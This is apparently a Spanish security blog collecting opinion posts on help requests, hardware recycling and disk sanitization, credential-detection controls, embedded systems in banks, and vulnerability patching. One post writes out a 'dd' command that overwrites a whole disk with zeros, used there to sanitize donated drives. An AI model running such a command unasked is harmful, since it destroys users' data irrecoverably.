Mostrando entradas con la etiqueta opinion. Mostrar todas las entradas
Mostrando entradas con la etiqueta opinion. Mostrar todas las entradas

2023/04/14

Preguntar bien para trabajar

Este artículo es el resultado de la aplicación del concepto, técnica, modalidad o como lo quieras llamar que había registrado antes, en ese momento fue ponerle una descripción a lo que hacía de modo intuitivo y medio inconsciente.

Tras todos estos años, ya de modo conciente de aplicarlo, también lo he extendido desde el aprendizaje al trabajo y hace unos pocos días tuve un evento muy ilustrativo que me disparó escribir esto como actualización.

 

Lo que había dicho en la otra oportunidad se podría resumir así:

Estoy con un problema, hago una pregunta y antes de enviarla, me pongo en el lugar de quien podría contestarla y me imagino que me va a pedir que complete. Lo hago, vuelvo a mirar y cuando ya no puedo hacer nada más, lo envío.

Lo interesante es que cerca de tres de cada cuatro veces, no necesito enviar pues el problema queda resuelto.

 

Lo último que ha ocurrido, está relacionado algo que no es de estudio o hobby pero tampoco es de trabajo, llamemoslo de "responsabilidad profesional", mi colaboración el el proyecto CIAA.

En pocas palabras por si no conocés, es un proyecto de Open Source Hardware y Software (Open de Todo) en el cual vengo colaborando, últimamente en arreglar el sitio cuando algo falla.

La última falla fue por una migración automática que produjo una catarata de dependencias. Estando yo con poco tiempo y sabiendo muy poco de la aplicación solicité ayuda en embebidos.

Fuí muy escueto a propósito, estaba filtrando, buscando más alguien que supiera de antemano que alguna persona solidaria que me ayudara a investigar, no quería pasarle el muerto a algiuen en mi misma situación.

Tres minutos más tarde una persona me contestó en privado, Daniel C.B.

En mi borrador de mail primero expliqué qué había ocurrido y cómo había roto, en este caso la esencia del problema era que php había sido actualizado, entonces tiraba unos deprecated.

Cómo había ido solucionando algunos aspectos, armé un listado tipo problema/solución para ir relatándole lo ya hecho y el bloqueo actual.

Luego noté que había estado aplicando de modo desordenado los pasos de migración [*]. Por completitud entonces comprobé los había hecho y completé los faltantes, que igual, como sospechaba y por eso no los había respetado mucho, no hacían mucha diferencia.


Me puse entonces en el lugar de la persona y pensé, si le paso esto como está, aún con este lindo mail, lo mato. Evalué que para poder hacer un mail mejor, me iba a llevar el mismo o más tiempo que quizás arreglarlo. No estamos hablando de veinte minutos, de hecho me llevó varias horas y un esfuerzo mental considerable.

Pero, magia, otra vez, al estar conforme con las dependencias del mail, el problema ya estaba solucionado... en su mayor parte, ahora quedan algunos detalles de terminación.

Pasamos de la perspectiva de "tomá este sitio que no se puede exponer a Internet" a "¿te podrías fijar que parece que quedó un plugin sin instalar o mal configurado?

 

Lo nuevo


Durante todos estos años extendí la técnica debido a las cadenas de mail de trabajo. Estas suelen ir ampliando su audiencia ("sumo a tal que se encarga de ese aspecto") y a veces se extienden durante varios días sino semanas.


Esto provoca dos cosas: que hay gente nueva en la conversación a la que se le obliga a leer toda la cadena con sus idas y vueltas. Las otras personas, si ha pasado algún tiempo y como todo el mundo lleva siempre varios temas adelante, o no recuerdan o les cuesta.

 

Entonces, una práctica que me autoimpongo y recomiendo es cada tanto hacer un resumen e incluso, borrar las partes superfluas de la conversación del cuerpo principal, sí dejarla por si tengo un error de interpretación que pueda ser detectado.

Quedan entonces uno o dos párrafos diciendo el problema es tal, tal persona sugirió esta causa, la otra otra, tal esta solución y estamos más o menos así.


Como ejemplo tengo reciente que gestionando una vulnerabilidad ocurrió esto:

Se estaba reportando que estaba TLS 1.1 activo y había LUCKY13. El problema es que al revisar el sistema, TLS 1.1 ya no estaba activo y LUCKY13 era potencial debido a unas ciphersuites débiles, que de todos modos eran un defecto por si mismo.

Habían personas que retomaban la cadena con el reporte original, lo cual me producía increibles confusiones.

Entonces, el reporte actualizado, es: hay ciphersuites débiles, su eliminación producirán como efecto colateral la desaparición del potencial LUCKY13

Lo que agrego en esta oportunidad es:

No asumir que todos estamos prestando la misma atención a la conversación ni sabemos lo mismo, hacer frecuentes resúmenes y actualizaciones para no retroceder ni confundir.


Nota:


[*] No es el tema, pero esto me recuerda algo que ocurrió en uno de los cursos que doy. Usamos una VM con unos pasos a seguir en la instalación. Uno de los alumnos en lugar de seguir los pasos next->next->next para configurarla e instalarla se buscó algún video en internet y por supuesto luego no le anduvo, argumentó que "Admito que me salí del manual porque no lo sentí tan practico", lo cual, considerando que cerca de 60 personas lo habían transitado previamente y que cada vez está más refinado, es un tanto subjetivo.

Eh, pero es justo lo que vos hiciste, me vas a decir, ¿por qué no respetaste a rajatabla el procedimiento de migración?

Bueno, la verdad es que en uno de los intentos sí lo había respetado, pero el problema es que procedimiento contempla pasar de una versión a la siguiente, no como era este el caso de... no voy a decir cuántas, muchas... demasiadas...

Quizás el paso más crítico que no respeté, ni lo voy a hacer, es leer el historial de cambios, no me alcanza la vida. Usé mi instinto y sumándole la metodología expuesta, funcionó.







2023/03/08

Cyberciruja 2023

Acompañando y de algún modo continuando unos artículos previos de una mezcla de forense con cyberciruja, elaboro estas reflexiones actualizadas.

La actividad cyberciruja es aparentemente sencilla, consiste en estar atento a hallar en la basura equipamiento recuperable. Esta basura puede ser la mera calle, alguien que avisa "en mi trabajo/familia" van a tirar tal cosa.

Yo he sido siempre parcialmente cyberciruja y recientemente me uní a un grupo cuya interacción me ha llevado a conclusiones parecidas y extendidas a lo que había llegado en Wipe relativo a regalar cosas.

No es fácil y puede ser antieconómico regalar cosas.

Tras unos meses en el grupo hallé un cierto comportamiento recurrente. Se han ofrecido cosas que si alguien hubiese encontrado en la calle hubiese dicho "guau! qué bueno! no entiendo por qué tiran esto, ...." y probablemente levantado, sin generar ningún interés.

Luego, tengo un TV no smart de 40 pulgadas víctima de un rayo, es muy probable que la pantalla esté intacta. Si lo dejo en la vereda y aviso, según mensajes previos de piezas equivalentes, "uh, qué pena que no estoy por ahí", debería ser muy codiciado, pero lo ofrecí y nadie lo quiso.

Hay varias otras cosas registradas en Material Cyberciruja con el estado actualizado.

¿Será que la esencia de la experiencia cyberciruja no es el objeto en sí sino el encontrarlo en la basura? ¿Será que encontrarlo en la basura lo anonimiza sin generar relación u obligación con quién lo ha tirado? ¿Será que al recibirlo se genera algún tipo de deuda y al encontrarlo tras haber sido irresponsablemente abandonado la deuda es de quien lo tiró y de algún modo al recuperarlo se logra una satisfacción de índole social/ecológica?

¿Qué pesa más, estos aspectos o lo económico?

Analizando mi propia experiencia, he hallado tirado en el centro algo raqueable de comunicaciones que no sé que es y me lo he traido a casa pese a que alguien se le paró encima y lo deformó y usa una fuente de 48v y la verdad no me sirve para nada más que haberlo abierto y estudiado 15 minutos, quizás le pueda sacar unos chips fpga algún dia... Pero si me lo hubieran ofrecido, habría pensado: "¿voy a tener tiempo para dedicarle?", muy difícilmente lo hubiera aceptado.

 

 

Actualización 2024/01/29: ver https://seguridad-agile.blogspot.com/2024/01/analisis-de-entrega-de-material.html

 

Aspectos de seguridad

 

Eh amigo, entiendo que este blog es más bien técnico y por el nombre probablemente algo de seguridad y aunque lo del cybercirujéo es técnico, hasta ahora todo lo que escribiste no es ni muy técnico ni muy de seguridad!

Ok, veamos los aspectos de seguridad...

 

Aspecto forense y la confidencialidad. 

 

En el grupo alguien necesitaba discos IDE chicos, yo tenía al menos cuatro, pero no sabía que tenían adentro, ni siquiera si eran míos los datos. No se puede dar equipamiento con memoria persistente sin antes sanitizarla.

Es por ello que en el trabajo no consigo que me cedan nada obsoleto de comunicaciones, estos equipos son destruidos por empresas certificadas por normativa.

Volviendo a los discos, al no tener mother con IDE tuve que usar un adaptador USB-IDE, pero no funcionó con ningúno. Probé con otro que tiene el conector combinado IDE/Power y sólo era compatible con dos. Les hice 


sudo dd if=/dev/zero of=/dev/hdc

 

¿Porqué /dev/zero y no "borrado forense multipass" o /dev/urandom? Pues para los ataques posibles para los mortales comunes con una pasada alcanza, hace falta equipamiento muy caro, casi diría que es medio mito el recuperar algo.

Los otros dos no los puedo dar hasta poder escribirles...

 

Ingeniería Social

 

¿Será que el objeto "regalado" vale menos que el "ganado"?

Alguien dijo algo tipo "el regalo de algún modo te tiene que costar", de acuerdo. ¿qué sería entonces cuando en lugar de tirar algo a la basura, lo ofrecés'. Evidentemente no prima "me cuesta", sino el alivio de no tirarlo, en realidad sería "me hacés el favor de aceptarme esto pues me conflictúa tirarlo?".

De hecho, las empresas hacen donaciones diversas pero movidas por el retorno, que puede ser reducción de impuestos o publicidad.

Tambien está la protección ante la ingeniería social, uno sospecha un engaño. Un pariente de un amigo que era docente de la Facultad de Psicología de la UBA hizo un experimento con sus alumnos. Se pusieron en la puerta y ofrecieron billetes de 10 pesos a cambio de 7 pesos y nadie aceptó.

Yo no tengo para nada estos mecanismos, ofrecieron un equipo que tiene una FPGA adentro (otro día otra entrada), un thinclient (otro día otra entrada) y un lector de tarjetas (otro día otra entrada) y los acepté sin dudar.

 

Hardware Security Live Cycle

 

Esto no tiene que ver con la idea principal de la nota, pero recordá que habías reclamado por el aspecto de seguridad del hardware. Dicen los que saben que la cadena de suministro del hardware es:

  • IP Owner/fábrica
  • Ensamblado del PCB
  • Integración del sistema
  • Usuario final
  • Reciclador/basura

Y que las principales amenazas de seguridad al hardware son:

  • Remarcación, cambiarle la especificación de hogareño a industrial.
  • Clonado, una empresa copia el producto de otra.
  • Con defectos, una pieza no pasa el control de calidad y se vende igual.
  • Sobreproducción, la fábrica hace más componentes que los acordados y los vende por su lado.
  • Reciclado, que consiste en usar como nuevos componentes resultantes del fin del ciclo de vida anterior.

El cyberciruja de algún modo participa de ambas últimas, no de mala fé, no intenta usar o vender componentes recuperados como si fueran nuevos, pero en términos de safety (la seguridad no de la información, "security", sino la del mundo físico) el usar componentes rescatados, ya sea por el uso previo o por la técnica de recuperación, atenta contra las probabilidades de que el sistema no falle.

 

Ideas finales

 

¿Puede ser que lo que descarta un cyberciruja, al menos instintivamente, sea visto por los demás cybercirujas como algo que ya no puede ser recuperado?

Actualizando mi estado cyberciruja actual, pienso que:

Me parece que es ineficiente dedicarle tantas horas de esfuerzo a recuperar un equipo, esas horas de trabajo generarían más valor en un trabajo renumerado.


En términos de conciencia social, seguramente sería más productivo ir a ayudar en una villa a implementar o corregir en los tendidos cloacales o de suministro de agua o electricidad. O ayudar a personas en condición de calle.


 

2023/01/18

La asimetría entre una campaña de EH y un control de seguridad.

En Nerdearla 2022 tuve el privilegio de dar dos charlas, una mía personal que más que un taller era una charla larga, una versión extendida de lo presentado en Flisol 2022 relativa a open hardware, cores y software y otra, en representación de mi trabajo, ésta si una charla de verdad, nacida de una combinación de necesidades y oportunidades, de la aplicación de ML a un problema de seguridad.


El proyecto expuesto trata de cómo hallar información sensible en diversos almacenamientos, en particular credenciales en texto plano en archivos de texto plano en sistemas de archivos utilizando técnicas de ML. Claramente todas estas ideas pueden extenderse otra información sensible en más tipo de archivos (pdf, documentos con formato, planillas) en diversos sistemas (repositorios, páginas web, comprimidos), pero no de modo sencillo ni automático.

 

Sin embargo, el aspecto que quiero destacar en esta entrada no es tanto el diseño  técnico y la arquitectura del sistema, que vendrían a incluir aspectos como lidiar con diversos encodings, realizar la exploración en determinados horarios para no impactar en la disponibilidad de los sistemas a examinar, actualizar el modelo y las reglas de inclusión y exclusión de búsqueda tanto de archivos como de patrones de palabras clave de modo relativamente dinámico para poder aplicarlos durante la ejecución y no tener que esperar a que finalice, considerá que quizás estás recorriendo millones de archivos a lo largo de semanas. De este tema tengo muchísimo elaborado pero poco testeado y además no he revisado soluciones existentes para comparar.


Lo que me interesa y tema de esta entrada nace de esta frase:

 

"(A) Vinieron unos pentesters y revisaron en cierto lugar y (B) encontraron un archivo con una clave que aunque no era la actual  mostraba el patrón de generación (C) lo cual permitió acceder a un sistema donde se encontraron otras credenciales.(D) Tenemos que hacer un control para prevenir esta situación".


Ok, nos gustaría mucho que no ocurra que hayan credenciales en texto plano en primer lugar, para ello existen técnicas de autenticación para evitar que hayan claves en los scripts y concientización para que no hayan claves fuera de los almacenes seguros tipo keepass, pero esto se trata justamente de detectar cuando alguien no las respeta.


Aunque a primera vista no lo parezca, el salto que hay desde (A) unos pentesters... a (D) hacer un control... es abismal y más si pasamos por (B) y (C), veamos el detalle y el contraste:


  • El éxito de una campaña de pentesting se puede alcancar ante el primer hallazgo importante o cuando se alcanza al tiempo límite de ejecución asignado.
  • Ésta campaña, aunque pueda tener mucha asistencia de automatización, es esencialmente manual e interactiva, no hay foco en optimizar aspectos como que un humano no tenga que revisar más de 5.000 líneas, por decir un número para mí razonable. Esto significa que:
    • si el humano se tiene que pasar una tarde mirando una lista de 100.000 líneas candidatas, lo va a hacer.
  • La búsqueda no es exhaustiva, se pueden buscar archivos con nombres clave tipo "claves.txt", con hallar uno alcanza.
  • La frecuencia puede ser tal que sea una o dos veces por año, quizás cada dos años.


 

Contrastemos con un control:

  • La ejecución del control se completa cuando recorre todo el conjunto de activos a revisar y emite su reporte, el cual puede ser contínuo, no hace falta que sea al final.
  • El éxito se alcanza cuando recorre todo y halla todo lo que podría hallar.
  • Debe ser esencialmente automático, el humano sólo debería intervenir para una decisión final acerca de los positivos y realimentar la lógica.
    • En mi experiencia, completamente personal, no debería examinar más de 10.000 líneas. Y pensá que esto hay que repetirlo periódicamente, es esencial que sean pocas líneas.
  • Debe ser permanente, no bien termina de ejecutarse debe comenzar otra vez.
  • Considerando (B) clave pista y (C) que conduce a otro lado, esto es imposible en un control, se hace indispensable la intervención humana.

Esta intervención puede pasar a formar parte del control, pero hay que tener en cuenta que pueden haber mucho "candidatos", una cosa es mirar rápido y ver que "let password = "3234234" amerita contactar al dueño del sistema y otra es que cuando el dueño te contesta "esa clave no se usa más" confiar y seguir escarbando.

Otra es, si el hit fué "let password = $texto", tendrías que ir a ver dónde y cómo se definió $texto, pudo haber sido

let texto = "3234234"

que es un nivel de indirección que nuestro análisis difícilmente pueda interpretar, o peor aún:

let password = exec("proceso.exe", "id_sistema")

donde proceso.exe puede ni siquiera estar presente en el sistema que estamos examinando. No pongo las manos en el fuego pero consideraría esta una técnica válida, esa línea la encontraste en un repositorio y proceso.exe sólo existe en el sistema productivo donde se ejecutará el código.

Existen herramientas de análisis estático de código que son capaces de seguirle el rastro a una cadena de asignación de valores dentro del flujo de un programa, sólo sería cuestión de activarla cuando se detecta que es código fuente, pero bueno, es una complejidad adicional.

En síntesis, la idea está en concordancia con el concepto de la asimetría que hay entre atacante y el defensor, el EH respeta la visión del atacante y el Control la del defensor:

  • El atacante tiene toda la ventaja del tiempo, es lo único que hace.
  • El atacante tiene toda la ventaja de concentrarse en un único conocimiento, el de tal ataque en particular, mientras el defensor debe abarcar de modo obviamente superficial todo el conocimiento de todo lo que defiende.
  • Al atacante le alcanza con un éxito y en última instancia no importa mucho cómo lo consigue.

Entonces la idea es, no sencillo en general modelar un control a partir del resultado de un reporte de EH y en particular en el caso de la frase, probablemente imposible.











2022/03/03

Por qué IoT y sistemas embebidos si trabajás en un banco

...o cualquier trabajo que aparentemente no tenga sistemas embebidos ni nada que ver con IoT.

 

Buena pregunta, un banco es el terreno del mainframe rodeado de bases de datos y servidores diversos que atienden vía web en el home banking, en las aplicaciones mobile, por terminales diversas a empleados, en ATM, en encoladores, dispensadores de tarjetas y ahí ya te estoy contestando un poco, pues todos estos últimos vienen a ser el terreno de los SSEE.

Que un sistema esté implementado con "commodity hardware", off-the-shelf cómo le dicen, es una cuestión completamente táctica, no afecta su esencia.

Tenemos a grandes rasgos que si una computadora lo que más hace es operaciones específicas atendiendo quizás multitud de orígenes, le decimos servidor. Puede tener pantalla y teclado, es irrelevante. Puede ser una raspberry-pi, su función es servidor. Si tenemos un montón dependiendo de como estén organizadas, son cloud, farms, supercomputadoras.

Tenemos que si tiene KVM (Keyboard Video Mouse - Teclado Video Mouse) y es de uso general, ya sea en formato laptop o desktop, le decimos "Estación de Trabajo", la compu, una PC.

Si en lugar de KVM tiene una pantalla táctil y un par de botones, funciona con batería, entra en el bolsillo y tiene wifi y pegada una línea de teléfono somos lo suficientemente smart para denominarlo "mobile".

Una y otra vez, no dejan de ser computadoras.

Cuando tenemos una computadora que tiene un teclado loco o ni tiene, que anda en batería encima de un poste o bajo tierra, que maneja a una máquina, que es tan chica que apenas le entra un hello world, que la mayor parte del tiempo se la pasa durmiendo, se despierta unos milisegundos, mide un sensor, lo transmite y vuelve a dormir, que desde que se prende ejecuta el mismo conjunto de programas en lugar de ir ejecutar programas arbitrarios, que en realidad son varias distintas haciendo lo mismo y comparando que estén haciendo realmente lo mismo, que es tán... lo que sea, estamos en el terreno de los SSEE.

Si no tiene nada salvo un montón de conexiones de red, como un switch, un router, un firewall, balanceador de carga, es equipamiento de comunicaciones, SE.

Entonces, una PC común dentro de un ATM, un sistema de dispensador de turnos o de reconocimiento facial, no es una PC, es un SE. Para contrastar, una raspberry-pi a la cual le conectás KVM y no usas los GPIO (los cablecitos para leer botones y prender leds) para mi deja de ser un SE y pasa a ser una PC.

No es lo mismo sin embargo un SE que nace como tal y se usa como SE que usar una PC con el mismo propósito. Esto es en parte por el hardware, que en la PC es de uso general, debe funcionar lo mejor posible en situaciones muy distintas. Contrastando, los SSEE acostumbran usar hardware especializado para lo que van a hacer, pueden estar optimizados para bajo consumo, tiempo real, mínima latencia, infernal paralelismo, ínfimo precio, obviamente no todos a la vez, es como la regla del PM: rápido, barato, bueno, elegí sólo dos.

En el motor de un auto debe ir inevitablemente un SE, pues una PC no soporta las vibraciones, temperaturas y ruido eléctrico ni los requerimientos de tiempo real de que la chispa ocurra en ese preciso instante.

En un equipo médico de soporte vital debe ir un SE, pues no puede colgarse ni ponerse a hacer otra cosa que la que está haciendo.

En un ATM, será más lenta la PC o consumirá más que el SE, pero no hay actividades críticas a nivel de hardware. En realidad si hay pero a nivel de cada dispositivo, el lector de la autenticación, el lector de cheques, el expendedor, que  tienen su propio SE, orquestados por la PC. Es por eso que en un ATM se puede usar una PC, por que las actividades especiales no las lleva adelante la PC, si no estos SSEE específicos.

No es nada novedoso, incluso dentro de la PC hay SSEE, como la controladora de disco rígido, ya he lidiado con eso al intentar rescatar un microcontrolador 8051 de un disco. El teclado tiene un microcontrolador, es un SE.

Siguiendo por el resto del banco, de modo directo tenemos esos SSEE y de modo indirecto, de soporte tenemos cámaras IP, sistemas de alarmas, control de acceso, la controladora de los ascensores si los hay, aire acondicionado.

Si por algún motivo se pudiera saltar de la red de las cámaras IP o cualquier otro sistema de soporte a las otras redes, entonces la seguridad de esas redes nos interesa tanto como la propia del "negocio".

Este salto puede ser por compartir la red aunque esté segregada de modo lógico (buscá VLAN), puede haber un componente con una patita en cada red, pueden tener un almacenamiento o servidor común en Cloud.

 

Falta IoT

 

IoT parece ser un montón de dispositivos (evidentemente SSEE) comunicándose entre ellos o con servidores, recolectando información y actuando. Por ejemplo ese coso que se llama Alexa que le decís "quiero escuchar música de ascensor" y te pasa esa música por el SmartTV, o que controles algún automatismo de tu casa desde el SmartPhone o que si bajó el nivel de humedad de las macetas y no hay pronóstico de lluvia cercano, se abra una válvula y haya riego.

La clave que diferencia o mejor dicho lo que extiende SSEE a IoT es la comunicación. Un lavarropas por mucho microcontrolador que tenga, si no tiene conexión a algo, no es IoT. Y claramente la comunicación no es un mero capricho de la gente de marketing, es para poder controlar el lavaropas remotamente y/o poder obtener telemetría.

Un componente con un protagonismo no del todo evidente en todos esos ejemplos es que buena parte de la inteligencia no está en los dispositivos, está en algún servidor o conjunto, ya sea en Cloud o en un servidor local. Y lo interesante es que la complejidad y extensión de estos servidores es probablemente siempre superior a la de los dispositivos. Y quizás fundamentalmente, los datos y el control están en esos servidores.

En el caso de Alexa, el dispositivo probablemente sea un microcontrolador con un parlante, un micrófono, una conexión wifi y otra bluetooth. El código seguramente sea un loop que va comprimiendo y transfiriendo el audio a Cloud, donde es reconocido y se generan los comandos que luego se envían al SmartTV, sistema un poco más complicado pero no por el aspecto IoT, la parte IoT es sólo que ejecute una acción que normalmente se hace manualmente. De hecho, si se usara siempre con Alexa, se podría simplificar, ser menos Smart.

 

Visión IoT vs SSEE
Visión IoT vs SSEE

 

Este gráfico es una simplificación extrema, las formas tan pronunciadas son para no entrar en discusiones de detalles de cuál sería la verdadera forma, si más redonditas. Pensá que SSEE en principio no tiene nada que ver con los servidores de la izquierda, pero para comprender bien el funcionamiento de estos tenés que saber de arquitectura de computadoras y eso claramente no es terreno de IoT, si de SSEE, pues una vez que comprendiste un ARM o un RISC-V estás a centímetros de comprender un x86, si es que los servidores no son ARM.

Entonces, el eje del conocimiento de IoT termina siendo en realidad el conocimiento de la infraestructura de soporte, condimentado con los casos de Edge Processing, donde la inteligencia vuelve al dispostivo, esto es por ejemplo cuando se transmite un video sólo cuando se detecta un evento complejo como el reconocimiento de que hay una cara. Se envía al servidor la foto y este reconoce la identidad de la cara. Reconocer que hay una cara no es tarea menor y ahorra un montón de ancho de banda.

O un vehículo autónomo, a dónde va a ir se lo dice el sistema central, quizás más o menos por dónde, pero el cómo, el evitar chocar lo va a resolver por si mismo.

Otra característica que mueve el eje es cuando hay condiciones "especiales", para llamarlas de alguna manera, esto es, por ejemplo cuando hay distancias apreciables y la fuente de alimentación es restringida, lo cual te obliga a usar protocolos de bajo consumo, ya no es entonces uso WiFi cero cerebro, hay que estudiar un poquito mejor el asunto.

Y a lo que se está yendo, pero me parece que aún no es tan importante, es la coordinación autónoma entre los dispositivos. Por ahora es más sencillo que el sensor de humedad le diga al servidor que la maceta está seca y éste le diga a la válvula de riego que se abra. Es que ni el sensor ni la válvula saben cual es el pronóstico para las próximas horas. Y un auto claramente puede negociar mucho mejor el cruce en una calle sin semáforo comunicándose con los autos cercanos, pero no puede anticipar una congestión un kilómetro más adelante así.

Volviendo a un banco, tenemos que aunque un poco distintos, con respecto a las estaciones de trabajo, notebooks y SmartPhones al menos, se tiene un problema similar al de IoT respecto al inventario, tracking, actualización de imagen en el caso de IoT más básico, del sistema operativo y aplicaciones en no IoT, autenticación de los dispositivos.

Respecto a los ATM el aspecto de desatendido y que se protejan de ataques físicos, no sólo físicos físicos, para eso está el blindaje, sino para que no se les haga escupir billetes conectándole un cable en el expendedor.

Asi que aunque en mi caso lo que prima es mi interés natural por SSEE e IoT, a cualquier persona técnica lo que aprenda de arquitecturas y seguridad le servirá de modo directo pues no dejemos de ver que los ATM son los que entregan la plata y aunque parezcan PCs adornadas, son SSEE. El resto forma parte de la superficie de ataque y en todo caso servirá de modo indirecto pues se aprende mucho al cruzar campos de conocimiento.

2022/03/02

Vulnerabilidades masivas, continuación

Para quienes no les ha convencido mucho talento vs kpi y se resisten a la aplicación de parches de aplicaciones de terceros a escala, llamemosla, industrial, va un poco más de contexto relativo a cómo se descubren las vulnerabilidades y se puede reaccionar para mitigarlas.


A la hora de localizar vulnerabilidades, veo que hay como tres "zonas":


  • Aplicaciones y componentes de terceros, esto incluye sistemas operativos y aplicaciones de usuario tipo browsers, ofimática, entornos locales de desarrollo e IDEs.
  • Su uso y configuración.
  • Nuestras aplicaciones y componentes propios.

 

El tercero es el terreno del Pentesting, nuestro, lo primero es el Pentesting de sus respectivo creadores u otros interesados, que difícilmente tengan acceso a lo tercero, fin del asunto por hoy.

 

Hay varias maneras de "descubrir" las vulnerabilidades de modo (semi)automatizado, con las inevitables superposiciones, cada manera puede utilizar recursos de las otras.


Por inventario, implica un grado de madurez infernal, es saber que aplicación con qué componentes está desplegada en cada equipo.


Por revisión de repositorios y filesystems, mediante la inspección de maven o node. Te fijás en los entornos previos el código fuente y las dependencias. Por includes/requires, por greps. Por apt list --instaled, por yum list installed, rpm -qa, /var/log/packages, hashes de librerías vulnerables,  lo que sea.

Esta revisión se hace de dos maneras, mediante inspección de cada servidor por acceso remoto, tipo ansible con ssh. Se revisa qué componentes están presentes y las configuraciones. Puede ser una tarea manual, tanto rutinaria como exploradora que alimente a las automatizadas.

La otra manera es inspección de cada servidor por agente, esto es, hay un programa en cada equipo que recibe reglas y busca. Estas reglas se consiguen

La diferencia entre las maneras autenticada/agente radica en el impacto en la topología de la red, los agentes sólo requieren una conexión saliente, los accesos remotos entrante, quizas jump servers, pueden afectar la aislación que tan cuidadosamente habíamos armado.

Por revisión perimetral, banners y otros indicadores cuando no hay acceso autenticado como los dos anteriores.


Todas estas medidas aumentan la superficie de ataque: nuevos accesos de red, nuevos programas instalados, scripts que se ejecutan con privilegios que quizás no son tan bajos como desearíamos. Esos sistemas centralizadores pueden abrir la puerta a nuevos ataques y seamos francos, las aplicaciones de seguridad no necesariamente son seguras, son tan solo otras aplicaciones, pasan a engrosar nuestro inventario de activos sensibles.


La mayor parte de la investigación de seguridad sobre la primera zona es llevado adelante por terceros. Nuestro trabajo, que puede estar resuelto automáticamente, es tener el inventario para saber si y dónde aplicar aplicar los parches cuando aparecen. Ese "cuando aparecen" es crítico, pues si tomamos este ciclo de vida de una vulnerabilidad:

 

existencia | descubrimiento | parche | aplicado
           |<--      difusión     -->|


 

tenemos una ventana de oportunidad entre que se hace pública y apliquemos el parche en el mejor de los casos, si es que no se hace pública antes que el parche esté disponible.

 

existencia | descubrimiento | parche | aplicado
           |<--      difusión     -->|
           |             | workaround|

 

Mientras el parche no esté disponible podemos tomar medidas mitigatorias:

 

  • Desactivar componente
  • Cambiar configuración
  • Proteger en WAF/FW/IPS

 

Desde el mantenimiento del inventario centralizado hasta el salir en el momento a ver donde está tal componente, requiere un cantidad de esfuerzo, que puede no estar priorizado, recordemos que lo importante es que "el negocio funcione", los aspectos tecnológicos estan subordinados a ello y los de seguridad quedan como puro gasto.

Si tenés una política de mantenimiento actualizado, disminuye la necesidad del inventario preciso y pasa a tomar un mayor protagonismo la aplicación de protección perimetral (WAF, IPS, FW),  que es la más sencilla pero sólo se debe aplicar si hay componentes, pues introducen latencia y potenciales falsos negativos, cuanto más larga sea la lista de reglas, más va a demorar el mensaje en circular.

Quizás la mejor táctica sea aplicar toda nueva regla sin evaluar si la necesitás y luego ir viendo si conservarla. Esa purga podría traer el problema de que si a futuro se agrega un nuevo tipo de servicio, no estén las reglas y quede expuesto. Igual en teoría uno no agregaría servicios viejos, pero podría ser resultado de una migración de algo.


Lo que nos resta es el uso y configuración de los componentes de terceros, ahí es donde entra el Talento mencionado en la entrada anterior, donde aplica el "esta vulnerabilidad sólo está activa si está presente la configuración tal", que por un lado es un mitigante pues nos puede ahorrar tener que lidiar en lo inmediato con la vulnerabilidad, pero por el otro nos genera el trabajo de tener que evaluar si está presente la configuración tal y en caso de que estuviera y no se pudiera cambiar, de todos modos hay que aplicar la actualización, haciendo que esa evaluación haya sido trabajo perdido. Además, quizás ahora no está la configuración así, pero quién sabe como estará mañana. Por eso soy partidario de analizar menos y actualizar más.

2022/02/21

Talento vs KPI: Una muerte es una tragedia, un millón, estadísticas

Para lidiar con una vulnerabilidad hay que primero comprenderla, hacer una POC y que funcione, cuantificar cuál es su impacto teórico en términos de Confidencialidad, Integridad y Disponibilidad  y otras dimensiones, por ejemplo aplicando CVSS. Luego, desarrollar algún método de detección, que puede ser tan sencillo como comprobar la versión de una librería a un sofisticado script, programa o plugin de alguna herramienta de seguridad como NMAP o Metasploit que interactúe con el sistema y la explote, preferentemente sin generar efectos colaterales perjudiales. En caso de haber un payload involucrado, desde comprender su funcionamiento a desofuscarlo en caso de lenguajes interpretados hasta una dificilísima ingeniería inversa ya que se trata código de máquina, que puede estar cifrado y ofuscado y nos lleva al hostil terreno del assembly y el conocimiento íntimo del sistema operativo, sin dejar de lado un sencillo análisis de comportamiento en busca de IOCs para alimentar herramientas de detección y prevención.


Habíendo superado esta etapa, evaluar en nuestro despliegue actual según la situación perimetral, la topología de la red, el valor de la información, en otras palabras, un análisis complejo de amenazas para poder determinar el potencial efecto real de esa vulnerabilidad en los distintos puntos del sistema donde puede estar presente y elegir el mejor plan de mitigación, que puede ser eliminar funcionalidades o aplicaciones, aplicar parches o actualizaciones, cambiar valores de configuración, agregar o modificar reglas de IPS, WAF, AV y FW.


A todo esto lo considero Talento, tanto desde la actuación de la gente ciberseguridad en la primera etapa como en la segunda que se suma la de gente de desarrollo, sistemas y administración de seguridad.

 
Hay otro Talento, que es del lado de la arquitectura, diseño y programación de las aplicaciones y servicios. Desde ese punto de vista, hay una inteligencia y optimización orientada a no hacer esfuerzos innecesarios, a intentar comprender. 

Entonces si el reporte de vulnerabilidades dice que hay tal componente vulnerable, correctamente, en lugar de salir corriendo a actualizarlo, este Talento dice, veamos si lo estamos usando de modo tal que la vulnerabilidad se manifieste. Por ejemplo, con Log4Shell, este Talento pregunta, ¿estamos enviando mensajes que vienen desde el usuario al log? Por que si no es así, no hay vulnerabilidad concreta, por favor no me hagas perder mi magro tiempo actualizando algo que no hace falta.
 

En la confluencia entre ambos Talentos, para que ciberseguridad pueda realmente apreciar el impacto de una vulnerabilidad en los sistemas necesita un importante esfuerzo por parte de las demás áreas técnicas.
 

Ahora, imaginemos que no tenemos una sola vulnerabilidad sino que tenemos miles, si, miles, que combinadas con nuestros activos generan combinaciones de centenares de miles de instancias, quizás millones.
 

Poco podemos conservar de la visión enunciada, es como una herida abierta esperando a infectarse, hay que limpiar y proteger, rápido, luego vemos si antibiótico, vendas, reposo. Miles de heridas.
 

Mientras aplicamos las defensas perimetrales, por madurez podríamos intentar identificar esas instancias, pues se dice que es indispensable medir… tarde, ese tiempo es tiempo cedido al atacante.
 

Las vulnerabilidades propias de nuestros sistemas descubiertas por Ethical Hacking pueden esperar un poco, apelando a una falsa seguridad por oscuridad, al atacante le puede costar encontrarlas pues debe interactuar con nuestro sistema. Pero con las que corresponden a elementos de terceros no hacen falta sutilezas, descubrirlas es simplemente correr un script sin ningún pensamiento.
 

